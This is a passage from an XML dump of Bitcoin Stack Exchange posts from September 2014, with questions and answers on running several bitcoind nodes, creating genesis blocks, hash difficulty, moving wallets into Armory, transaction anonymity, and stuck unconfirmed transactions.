&lt;/li&gt;&#xA;&lt;li&gt;OpenBazaar (this looks promising but orders and inventories are not decentralized ATM)&lt;/li&gt;&#xA;&lt;li&gt;Ethereum (well this one is still much in baking)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5464" LastActivityDate="2014-09-26T07:31:32.267" Title="Decentralized product inventory (instead of simple orderbook)" Tags="|nxt|marketplace|decentralization|decentralized-assets|ethereum|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30645" PostTypeId="5" CreationDate="2014-09-24T15:11:41.583" Score="0" Body="" OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-09-24T15:11:41.583" LastActivityDate="2014-09-24T15:11:41.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30646" PostTypeId="4" CreationDate="2014-09-24T15:11:41.583" Score="0" Body="Immature coins are newly created coins that aren't old enough yet to be considered trustworthy of spending. They mature when the creating block is succeeded by the 100th block." OwnerUserId="5406" LastEditorUserId="5406" LastEditDate="2014-09-24T15:11:41.583" LastActivityDate="2014-09-24T15:11:41.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30647" PostTypeId="1" AcceptedAnswerId="30669" CreationDate="2014-09-24T16:55:18.833" Score="0" ViewCount="233" Body="&lt;p&gt;I'm trying to create multiple full nodes on a single machine each using a different data directory and static ip's.&lt;/p&gt;&#xA;&lt;p&gt;My directory layout is&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;~/bitcoin1&#xA;~/bitcoin2&#xA;~/bitcoin3&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;For each direcotry I have a bash script named btc(number) with this:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;!/bin/bash&#xA;~/bitcoin1/bitcoind -conf=~/bitcoin1/.bitcoin/bitcoin.conf&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;With the config files respectively stating the data directories and parameters.&lt;/p&gt;&#xA;&lt;p&gt;My issue is whenever I try to run a command like &amp;quot;Getinfo&amp;quot;, I have to pass the whole config file argument to the daemon like so:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;~/bitcoin1/bitcoind -conf=~/bitcoin1/.bitcoin/bitcoin.conf getinfo&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;How can I make my start up bash script allow the daemon commands as well?&lt;/p&gt;&#xA;&lt;p&gt;I'd like to achieve this:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;~/bitcoin1/./btc1 getinfo&lt;/p&gt;&#xA;&lt;p&gt;or btc1 stop&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;&lt;p&gt;P.S. Sorry for the formatting. Never posted here before...&lt;/p&gt;&#xA;" OwnerUserId="19445" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2014-09-25T15:01:18.113" Title="Allowing bitcoind startup script to access daemon commands" Tags="|bitcoind|daemon|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30648" PostTypeId="1" AcceptedAnswerId="30710" CreationDate="2014-09-24T18:51:46.857" Score="11" ViewCount="1281" Body="&lt;p&gt;Gavin Andresen &lt;a href=&quot;https://twitter.com/gavinandresen/status/513731025470767104&quot;&gt;announced&lt;/a&gt; a few days ago, that he started working on &lt;a href=&quot;https://github.com/gavinandresen/IBLT_Cplusplus&quot;&gt;&lt;strong&gt;Invertible Bloom Lookup Tables&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;His repository's README refers to two papers, &lt;a href=&quot;https://gnunet.org/node/2039&quot;&gt;&lt;em&gt;What's the difference?: efficient set reconciliation without prior context&lt;/em&gt;&lt;/a&gt; by Eppstein, Goorich, Uyeda, and Varghese, and &lt;a href=&quot;http://www.eecs.harvard.edu/~michaelm/E210/IBLT.pdf&quot;&gt;&lt;em&gt;Invertible Bloom Lookup Tables&lt;/em&gt;&lt;/a&gt; by Goodrich and Mitzenmacher, whose abstracts seem to be hinting at a special datastructure that could significantly improve lookup times, and might be expedient for consolidating information in a peer-to-peer network, e.g. block propagation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has someone already wrapped his head around the whole thing and would kindly explain:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What do Invertible Bloom Lookup Tables do?&lt;/li&gt;&#xA;&lt;li&gt;How would they be used in the Bitcoin project?&lt;/li&gt;&#xA;&lt;li&gt;What improvements compared to the status quo can we expect?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-09-29T04:01:04.677" Title="What are the benefits of Invertible Bloom Lookup Tables for Bitcoin?" Tags="|network|algorithms|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30649" PostTypeId="1" CreationDate="2014-09-24T19:20:21.947" Score="2" ViewCount="179" Body="&lt;p&gt;I am trying to understand how Bitcoin works and whether it is possible to manage a bitcoin transaction anonymously. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If someone transfers a bitcoin, &lt;strong&gt;what do I need to sign it with&lt;/strong&gt;? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Can it be signed using another bitcoin?&lt;/strong&gt; What is the id that is used to sign the bitcoin over to me? Is that not an identifier?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How many identifiers can one have and how to do you get such an identifier/wallet? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Problem is that if you have one wallet then all related transactions can be found, so to stay anonymous you actually need many wallets. How do you get a wallet? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Can you create a wallet per bitcoin transaction?&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="19447" LastEditorUserId="5406" LastEditDate="2014-09-24T20:15:09.853" LastActivityDate="2014-09-24T20:55:57.370" Title="How do Bitcoin transactions work, and what does one need in order to send or receive one?" Tags="|transactions|terminology|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30650" PostTypeId="2" ParentId="30649" CreationDate="2014-09-24T20:01:17.647" Score="0" Body="&lt;p&gt;In an instance such as this. It sounds like you are talking about the physical software wallet. Unless you are a programmer you definitely do need this. The vanilla wallet takes too long to get up to date with the blockchain. Something such as multibit (which you can google) is a lightweight client that downloads only a part of the blockchain instead of the whole.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Multibit is relatively easy to use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To learn more about wallets you should look towards some youtube videos as there are many&#xA;of those that have visual walk-throughs that would be much faster to understand than  plain text.&lt;/p&gt;&#xA;" OwnerUserId="19449" LastActivityDate="2014-09-24T20:01:17.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30651" PostTypeId="2" ParentId="30642" CreationDate="2014-09-24T20:02:05.997" Score="1" Body="&lt;p&gt;If the blockchain files are gone, then your Bitcoin client has no way to match up the keys in your wallet with the transactions in the blockchain. Remember the balance is not stored &lt;em&gt;in&lt;/em&gt; the wallet, but the keys in the wallet can be matched with transactions in the blockchain to calculate your balance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Fortunately, the blockchain files are public and the same for everybody so you now just have to wait for them to download. It may take quite some time (days or more). You could try downloading a torrent of the blockchain to speed up the process, but this is optional.&lt;/p&gt;&#xA;" OwnerUserId="11253" LastActivityDate="2014-09-24T20:02:05.997" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30652" PostTypeId="2" ParentId="30649" CreationDate="2014-09-24T20:03:13.023" Score="2" Body="&lt;p&gt;You are using some Bitcoin vocabulary, but you are jumping to conclusions that aren't correct.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Quick vocab session:  &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;Addresses&lt;/strong&gt; can be used to receive payments.&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Wallet&lt;/strong&gt; is a term used for a collection of addresses.&lt;/li&gt;&#xA;&lt;li&gt;The sender needs to sign a transaction using a &lt;strong&gt;private key&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;When you receive a Bitcoin transaction, you don't have to sign anything. In a transaction the recipient is passive, similarly to receiving a letter in the mail he doesn't have to do anything at all. Whenever he looks at his mailbox at a later point in time, the letter will wait for him; whenever you check the blockchain your address will have a balance associated with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The recipient of a Bitcoin transaction doesn't even have to be online at the time of the transaction. However, he does need to have a Bitcoin &lt;strong&gt;address&lt;/strong&gt;, where the payment may be directed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The identifier you are asking about seems to be such an &lt;strong&gt;address&lt;/strong&gt;. The good news is, you can have as many addresses as you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wallets are essentially an abstract construct to talk about a collection of addresses. It cannot be discerned from the addresses alone that they belong to the same wallet, so you don't necessarily give up a lot of information when you have several addresses in the same wallet. &#xA;However, by analysing interactions between addresses it is possible to guess that they are controlled by the same entity, e.g. guessing which transaction output is the change from a transaction, or funds being spend from different addresses in one transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://bitcoin.stackexchange.com/q/13059/5406&quot;&gt;What's the difference between a wallet and an address?&lt;/a&gt; for more information about that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Concerning anonymity, I'd suggest having a look at &lt;a href=&quot;https://bitcoin.stackexchange.com/q/52/5406&quot;&gt;How anonymous are Bitcoin transactions?&lt;/a&gt; and the tag &lt;a href=&quot;/questions/tagged/anonymity&quot; class=&quot;post-tag&quot; title=&quot;show questions tagged &amp;#39;anonymity&amp;#39;&quot; rel=&quot;tag&quot;&gt;anonymity&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.743" LastActivityDate="2014-09-24T20:55:57.370" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30653" PostTypeId="1" CreationDate="2014-09-24T23:11:34.767" Score="1" ViewCount="558" Body="&lt;p&gt;Has anyone used this blockchain parser for Bitcoin &lt;a href=&quot;https://code.google.com/p/blockchain/&quot; rel=&quot;nofollow&quot;&gt;https://code.google.com/p/blockchain/&lt;/a&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codesuppository.blogspot.in/2014/01/a-command-line-interface-for-blockchain.html&quot; rel=&quot;nofollow&quot;&gt;http://codesuppository.blogspot.in/2014/01/a-command-line-interface-for-blockchain.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried to parse blockchain generated by Bitcoin (&lt;strong&gt;bitcoind -regtest -daemon&lt;/strong&gt;) in &lt;strong&gt;regtest&lt;/strong&gt; mode but it is not reading(parsing) it correctly. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I copied the file &lt;strong&gt;blk00000.dat&lt;/strong&gt; (this is the &lt;strong&gt;only file generated in regtest mode&lt;/strong&gt;) to &lt;strong&gt;/home/somesh/Desktop/blockchain-read-only/&lt;/strong&gt; folder.  I executed the command: &lt;br&gt;  &lt;code&gt;./blockchain.out /home/somesh/Desktop/blockchain-read-only&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;output:&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Successfully opened block-chain input file '/home/somesh/Desktop/blockchain-read-only/blk00000.dat'&#xA;Welcome ...&#xA;Commands available: ... (then prints all the available commands)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;then I selected scanning option&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;scan&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The following is the message I get on scanning &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Scanning block-chain re-started from block 0 up to a maximum of 500000 blocks..&amp;lt;br&amp;gt;&#xA;Warning: Missing block-header; scanning for next one.&#xA;Failed to open block-chain input file '/home/somesh/Desktop/blockchain-read-only/blk00001.dat'&amp;lt;br&amp;gt;&#xA;Finished scanning block headers. Built block-chain with 0 blocks found..&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It is working fine for Bitcoin's real blockchain but not for the blockchain generated in regtest mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the parser is not able to find the block header in blk00000.dat and is skipping to next file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Warning: Missing block-header; scanning for next one.&lt;/strong&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;what changes do I have to make ?&lt;/p&gt;&#xA;" OwnerUserId="19374" LastEditorUserId="19374" LastEditDate="2014-09-25T15:24:49.453" LastActivityDate="2014-09-27T17:52:39.067" Title="Blockchain Parser not working on blockchain generated in regtest mode using bitcoind. Any help?" Tags="|blockchain|bitcoind|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30654" PostTypeId="1" CreationDate="2014-09-24T23:57:41.350" Score="1" ViewCount="770" Body="&lt;p&gt;I am trying to use Bitcoin's code for some other application.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is it possible to create a genesis block so that I can initially assign some coins (bitcoins) to some users. For e.g. &lt;br&gt; The Genesis Block contains the following information: &lt;br&gt;&lt;strong&gt;Address A has 10 Bitcoins &lt;br&gt; Address B has 5 Bitcoins&lt;/strong&gt; ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What changes do I have to make ?&lt;/p&gt;&#xA;" OwnerUserId="19374" LastActivityDate="2014-09-26T07:23:40.257" Title="How to Create a new Genesis Block with some bitcoins initially asigned to some users?" Tags="|bitcoind|genesis-block|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30655" PostTypeId="2" ParentId="30654" CreationDate="2014-09-25T00:29:33.257" Score="3" Body="&lt;p&gt;If you do this, you'll be very disappointed even if you succeed. The genesis block is ignored in terms of effects on the state of coins. The actual Bitcoin genesis block's outputs are effectively unspendable, even if Satoshi showed up with the key.&lt;/p&gt;&#xA;" OwnerUserId="208" LastActivityDate="2014-09-25T00:29:33.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30656" PostTypeId="1" CreationDate="2014-09-25T01:06:13.537" Score="1" ViewCount="296" Body="&lt;p&gt;I have a question about bitcoin, lets say that the output is uniformly random and that it is 256 bits in length.  The output of the hash function y=H(t) begins with 25 zeros - how many times would one have to call the hash function to get something that starts with 25 zeros?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, how does one verify the solution and how many hashes would be attempted to solve it?&lt;/p&gt;&#xA;" OwnerUserId="19452" LastEditorUserId="5406" LastEditDate="2016-04-25T17:46:59.693" LastActivityDate="2016-04-25T17:46:59.693" Title="Laymans guess to determine how many hashes must be computed to you find a specific value" Tags="|hash|difficulty|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30658" PostTypeId="2" ParentId="30656" CreationDate="2014-09-25T02:40:15.743" Score="1" Body="&lt;p&gt;It's pretty simple. Since the hashes are uniformly distributed, 25 zeroes is as likely as any other possible value for the first 25 hexadecimal digits. There are 16 possible values for each hexadecimal digit, so the number of possible combinations is 16^25, or about a 1,2676506×10&lt;sup&gt;30&lt;/sup&gt;. This also means that on average, one in 1,2676506×10&lt;sup&gt;30&lt;/sup&gt; hashes will start with 25 hexadecimal zero digits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To verify the solution, you just compute the hash once and check if it starts with the required number of zeroes. So, it's 10&lt;sup&gt;30&lt;/sup&gt; times easier to check the hash than to find it.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="5406" LastEditDate="2014-09-28T20:37:00.857" LastActivityDate="2014-09-28T20:37:00.857" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30659" PostTypeId="1" AcceptedAnswerId="30661" CreationDate="2014-09-25T03:50:46.317" Score="1" ViewCount="1240" Body="&lt;p&gt;I have installed Armory.  I have created a wallet within the Armory.  I however would like to use a wallet I have with bitcoin core.  I am unsure how to do this.  Thank you for the help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I have is the wallet.dat&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have uninstalled bitcoin core and when I reinstall I have no idea how to use the wallet there either.  Ultimately I have wallet.dat and I'm unsure how to get that file into the Armory.&lt;/p&gt;&#xA;" OwnerUserId="19455" LastEditorUserId="19455" LastEditDate="2014-09-25T04:47:36.563" LastActivityDate="2014-09-25T04:47:36.563" Title="Migrate wallet from Bitcoin Core to Armory" Tags="|armory|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30661" PostTypeId="2" ParentId="30659" CreationDate="2014-09-25T04:27:15.310" Score="0" Body="&lt;p&gt;The easiest way is to simply send them from the bitcoin core wallet to an address in armory wallet.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The other option would require you to use dumpprivkey on each address and then importprivkey on armory.&lt;/p&gt;&#xA;" OwnerUserId="6256" LastActivityDate="2014-09-25T04:27:15.310" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30662" PostTypeId="1" CreationDate="2014-09-25T06:31:46.340" Score="1" ViewCount="419" Body="&lt;p&gt;I would imagine that the paranoid darknety bitcoin user has an interest in keeping not only their private keys safe (so nobody can steal their bitcoins), but also has an interest in keeping their public keys safe (so nobody knows what addresses they control). With bitcoin armory, at least by default, a wallet's public information is available without any password protection when you load the program. Is there an option to encrypt all the wallet's information, so you can be safe in case, say, some jerk steals your computer and scrapes it for information about you?&lt;/p&gt;&#xA;" OwnerUserId="5254" LastActivityDate="2014-10-16T01:23:22.497" Title="Can you encrypt not just the private key, but also the public keys (ie bitcoin addresses) in an Armory wallet?" Tags="|security|encryption|armory|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30663" PostTypeId="1" CreationDate="2014-09-25T09:37:58.873" Score="3" ViewCount="773" Body="&lt;p&gt;I'm sorry if I ask a stupid question. Bitcoin network was conceived by Satoshi Nakamoto as a decentralized network, but now we are seeing the full centralization of nodes in the United States.&#xA;The user lacks motivation for hosting the full node as it requires financial costs but it does not pay off.&#xA;I have a question. Does the bitcoin network protocol display address when requesting a &lt;a href=&quot;https://getaddr.bitnodes.io/nodes/?q=Kazakhstan&quot; rel=&quot;nofollow&quot;&gt;useragent&lt;/a&gt;. Now we can see only the version and ip address. To anyone could donate a certain amount of coins for those who start a full node in the network.&#xA;The &lt;a href=&quot;http://www.coindesk.com/bitcoin-nodes-need/&quot; rel=&quot;nofollow&quot;&gt;ideal&lt;/a&gt; option proposed by the bitcoin core developer Jeff Garzik  would be to make a commission for that unit is now fully take miners to share with all the owners of the full nodes.&#xA;Sorry for my English.&lt;/p&gt;&#xA;" OwnerUserId="1162" LastEditorUserId="120" LastEditDate="2016-04-10T15:20:57.633" LastActivityDate="2016-04-10T15:20:57.633" Title="Motivation to run full nodes" Tags="|bitcoind|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30665" PostTypeId="1" CreationDate="2014-09-25T10:34:21.770" Score="1" ViewCount="142" Body="&lt;p&gt;Hi I'm doing some research regarding bitcoins and pool mining, however I couldn't find the following information online. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Total number of Bitcoins generated so far by pool mining and how many miners were involved.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Total number of Bitcoins generated per day by pool mining and number of miners involved per day.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Can somebody point me in the right direction?&lt;/p&gt;&#xA;" OwnerUserId="19461" LastEditorUserId="15412" LastEditDate="2014-09-25T11:19:17.953" LastActivityDate="2014-09-26T08:37:09.433" Title="Total number of Bitcoins generated by pool mining" Tags="|mining-pools|history|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30666" PostTypeId="2" ParentId="30665" CreationDate="2014-09-25T11:58:29.877" Score="1" Body="&lt;p&gt;&lt;a href=&quot;http://coinmarketcap.com/&quot; rel=&quot;nofollow&quot;&gt;http://coinmarketcap.com/&lt;/a&gt; states there are ~13.330.000 bitcoins generated.&#xA;you can have a overview of the shares on mining bye pool here: &lt;a href=&quot;https://blockchain.info/pools&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/pools&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;blockchain.info gives most information on bitcoin available, you will find what you need there!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;have a nice&lt;/p&gt;&#xA;" OwnerUserId="19459" LastActivityDate="2014-09-25T11:58:29.877" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30667" PostTypeId="2" ParentId="30663" CreationDate="2014-09-25T12:53:43.660" Score="1" Body="&lt;p&gt;I'm not sure I understand your question, but: No, Bitcoin nodes do not announce their own Bitcoin addresses as part of the network protocol.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;One could imagine modifying the protocol so that they did, but it would raise anonymity concerns: currently, by design, it is difficult to match an address with its owner's IP address.  If you knew at least one address that belonged to a particular node, you  might be able to look at other transactions in the block chain and deduce other addresses belonging to that node.  And ISPs usually have records that determine the identity of a user from their IP address.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-09-25T12:53:43.660" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30668" PostTypeId="1" AcceptedAnswerId="30713" CreationDate="2014-09-25T14:15:12.633" Score="1" ViewCount="652" Body="&lt;p&gt;I'm experimenting with some self study cryptography and I was curious about the two following scenarios (simple answers and/or in relation to bitcoin)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If SHA256 was found to lack pre-image resistance, would it make solving the puzzle easier?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, if the algorithm was found to be not collision resistant - would the puzzle again be easier to solve?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="19452" LastEditorUserId="5406" LastEditDate="2020-10-23T18:16:19.180" LastActivityDate="2020-10-23T18:16:19.180" Title="What would happen if SHA256's pre-image or collision resistance would be broken?" Tags="|security|cryptography|sha256|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="30669" PostTypeId="2" ParentId="30647" CreationDate="2014-09-25T15:01:18.113" Score="0" Body="&lt;p&gt;Add $1 to the end of the command in your script. This is more a general scripting question. Doesn't have much to do with bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;~/bitcoin1/bitcoind -conf=~/bitcoin1/.bitcoin/bitcoin.conf $1&lt;/p&gt;&#xA;" OwnerUserId="5292" LastActivityDate="2014-09-25T15:01:18.113" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30670" PostTypeId="2" ParentId="30668" CreationDate="2014-09-25T15:04:10.083" Score="1" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Any collision resistant hashing function H&lt;sub&gt;k&lt;/sub&gt; : {0,1}&lt;sup&gt;*&lt;/sup&gt; → {0,1}&lt;sup&gt;k&lt;/sup&gt; is pre-image resistant regarding the uniform distribution on {0,1}&lt;sup&gt;2k&lt;/sup&gt;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;A ⇒ B ⇔ ¬B ⇒ ¬A&lt;/code&gt;: I.e. if a function isn't pre-image resistant it is not collision resistant either.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SHA256 is a function that maps a potentially unlimited set of numbers to a smaller set of numbers.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;H&lt;sub&gt;k&lt;/sub&gt; : {0,1}&lt;sup&gt;*&lt;/sup&gt; → {0,1}&lt;sup&gt;k&lt;/sup&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Collision resistance&lt;/strong&gt; is a property that loosely says, it is difficult to find two &lt;em&gt;inverse images&lt;/em&gt; &lt;code&gt;X ≠ X'&lt;/code&gt; that have the same &lt;em&gt;image&lt;/em&gt; &lt;code&gt;H(X) = H(X')&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More to the point:&lt;br&gt;&#xA;A function &lt;code&gt;H&lt;/code&gt; is &lt;em&gt;collision resistant&lt;/em&gt;, if any algorithm can only find a collision with a negligible probability in probabilistic polynomial time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I.e. if SHA256 would turn out to not be &lt;em&gt;collision resistant&lt;/em&gt;, one could try to pick hashes that would succeed at the current difficulty, use the above predicted inverse function of SHA256 to calculate &lt;em&gt;inverse image&lt;/em&gt; candidates, and finally check whether one can satisfy them with the currently available block input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My gut feeling would be though, that it would be pretty difficult to find &lt;em&gt;inverse images&lt;/em&gt; that also satisfy the required structure of the block input, especially getting right the hash of the parent block, and matching an address that one controls for the coinbase transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Unfortunately, I have no idea whether the complexity of that would be greater or smaller than bruteforce mining.&lt;/p&gt;&#xA;" OwnerUserId="5406" LastActivityDate="2014-09-25T15:04:10.083" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30671" PostTypeId="1" CreationDate="2014-09-25T15:46:22.163" Score="0" ViewCount="1907" Body="&lt;p&gt;I sent 0.08 BTC yesterday using the blockchain.info wallet on the iPhone. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's been 24 hours and my money is still unsent; I really don't know what to do. It still says unconfirmed. Why is this? What can I do?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/7e3b70a23c46eeed599558e049948319a3524edd3355611a80b92b9867f12b88&quot; rel=&quot;nofollow&quot;&gt;Transaction in question.&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19466" LastEditorUserId="2306" LastEditDate="2014-09-25T17:18:39.670" LastActivityDate="2014-09-27T17:43:38.800" Title="Unconfirmed Transaction using Blockchain.info wallet" Tags="|wallet|unconfirmed-transactions|" AnswerCount="1" CommentCount="0" ClosedDate="2014-10-04T08:27:03.283" ContentLicense="CC BY-SA 3.0" />
  <row Id="30672" PostTypeId="2" ParentId="30671" CreationDate="2014-09-25T17:09:01.610" Score="1" Body="&lt;p&gt;The previous transaction that you are using to spend the coin is also unconfirmed. See below. Looks like this is a problem with the blockchain wallet that you want to email their tech support about. It doesn't even seem to be broadcasting the transactions anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/2bf18c5ba2fe56f3d9ada4880181518e905f275bfc9826fdbebd07dca34f2ef2&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/2bf18c5ba2fe56f3d9ada4880181518e905f275bfc9826fdbebd07dca34f2ef2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to fix the problem yourself, you could manually broadcast the transactions out by first getting the transaction hex : &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/tx/2bf18c5ba2fe56f3d9ada4880181518e905f275bfc9826fdbebd07dca34f2ef2?format=hex&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/tx/2bf18c5ba2fe56f3d9ada4880181518e905f275bfc9826fdbebd07dca34f2ef2?format=hex&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And using:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blockchain.info/pushtx&quot; rel=&quot;nofollow&quot;&gt;https://blockchain.info/pushtx&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7267" LastActivityDate="2014-09-25T17:09:01.610" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30674" PostTypeId="2" ParentId="30654" CreationDate="2014-09-26T07:23:40.257" Score="1" Body="&lt;p&gt;See here for some details on how to do this -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://bitcointalk.org/index.php?topic=189350.msg2038801#msg2038801&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=189350.msg2038801#msg2038801&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to make an output script and include that script and the public key for it in the right place in the source code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See here for a useful script to create a genesis block using various algorithms for different coins (and which you can plug the pubkey into) -&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/lhartikk/GenesisH0&quot; rel=&quot;nofollow&quot;&gt;https://github.com/lhartikk/GenesisH0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1660" LastActivityDate="2014-09-26T07:23:40.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
